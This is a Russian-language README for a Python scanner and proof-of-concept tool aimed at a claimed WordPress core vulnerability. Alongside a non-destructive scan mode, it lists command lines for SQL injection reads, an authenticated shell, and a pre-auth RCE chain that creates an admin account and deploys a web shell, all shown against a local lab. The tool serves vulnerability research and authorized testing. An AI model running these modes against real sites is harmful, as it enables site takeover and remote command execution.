wp2shell-scanner

Инструмент для обнаружения и проверки уязвимости wp2shell в ядре WordPress (CVE-2026-63030 / CVE-2026-60137). Режимы выбираются с помощью флага, а цель указывается позиционно. --scan снимает отпечаток версии ядра и подтверждает доступность маршрута REST /batch/v1 без отправки эксплойта; режимы --check/--read/--shell/--rce/--root-prereq являются PoC для проверки в авторизованной лабораторной среде.

wp2shell.py — это единый скрипт, использующий только стандартную библиотеку Python — без внешних зависимостей. Каждый запуск выводит баннер ZephrSec в stderr (он не попадает в stdout, поэтому вывод JSON при --scan -j остаётся нетронутым).

Флаги команд

Требуется ровно один флаг режима; цель задаётся позиционно (URL для каждого режима или список хостов для --scan).

Краткий обзор

wp2shell.py (--scan | --check | --read | --shell | --rce | --root-prereq)
            [targets ...] [-f FILE] [-j] [-t THREADS] [--prefix PREFIX]
            [--delay DELAY] [--repeats REPEATS] [--preset PRESET] [--expr EXPR]
            [--max-len MAX_LEN] [--user USER] [--password PASSWORD] [--cmd CMD]
            [-i] [--no-cleanup] [-y] [--sleep SLEEP] [--rounds ROUNDS]
            [--route {auto,rest-route,wp-json}] [--proxy PROXY] [--authorized]
            [--timeout TIMEOUT]

Флаги режимов (выберите один)

Флаги опций

Подробный пост в блоге: https://blog.zsec.uk/wp2shell-code-trace-deep-dive/

Шаблон Nuclei

nuclei -t wp2shell-exposure.yaml -u https://target

Сканирование (неразрушающее)

Одиночный хост, несколько хостов или файл.

python3 wp2shell.py --scan https://target
python3 wp2shell.py --scan host1 host2 host3
python3 wp2shell.py --scan -f hosts.txt

Опции: -f/--file файл с хостами (по одному на строку), -j/--json вывод JSON, -t/--threads параллелизм (по умолчанию 10).

PoC для проверки

Режимы --check/--read/--shell/--rce/--root-prereq отправляют живые полезные нагрузки эксплойтов. Запускайте их только на встроенной локальной лаборатории или на других системах, которыми вы владеете и на тестирование которых у вас есть явное разрешение. --shell и --rce выполняют удалённое выполнение команд и предназначены для лабораторных/авторизованных целей; --rce на хосте, не являющемся loopback, требует --authorized. --root-prereq использует тот же диагностический плагин с токеном для проверки предварительных условий для повышения привилегий, но не выполняет локальное повышение привилегий.

--shell требует восстановленного/взломанного пароля администратора. --rce — это цепочка без учётных данных (pre-auth): она создаёт собственного администратора через SQLi (oEmbed → changeset → реентерабельный parse_request), затем развёртывает веб-шелл — пароль не требуется.

--shell, --rce и --root-prereq запрашивают интерактивное подтверждение y/N перед отправкой любой полезной нагрузки, выполняющей код (они прерываются при неинтерактивном/EOF stdin). Передайте -y/--yes, чтобы пропустить запрос для автоматизации в лаборатории или для авторизованной цели.

docker compose -f poc/lab/docker-compose.yml up -d
python3 wp2shell.py --check http://127.0.0.1:8080
python3 wp2shell.py --read  http://127.0.0.1:8080 --expr @@version
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' --cmd id
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' -i
python3 wp2shell.py --rce   http://127.0.0.1:8080 --cmd id
python3 wp2shell.py --rce   http://127.0.0.1:8080 -i
python3 wp2shell.py --root-prereq http://127.0.0.1:8080 --user admin --password 'Summer2026!'

Патчи, использованные для обоснования PoC, сохранены в poc/diffs/, с исследовательскими заметками в poc/RESEARCH.md. SQLi полностью реконструируется из исправления author__not_in. Цепочка без учётных данных --rce (oEmbed → changeset → повторный вход → создание администратора) воспроизводит стандартную RCE на встроенной лаборатории; --shell — это альтернативный путь через восстановленные/взломанные учётные данные администратора для аутентифицированной загрузки плагина и выполнения команд.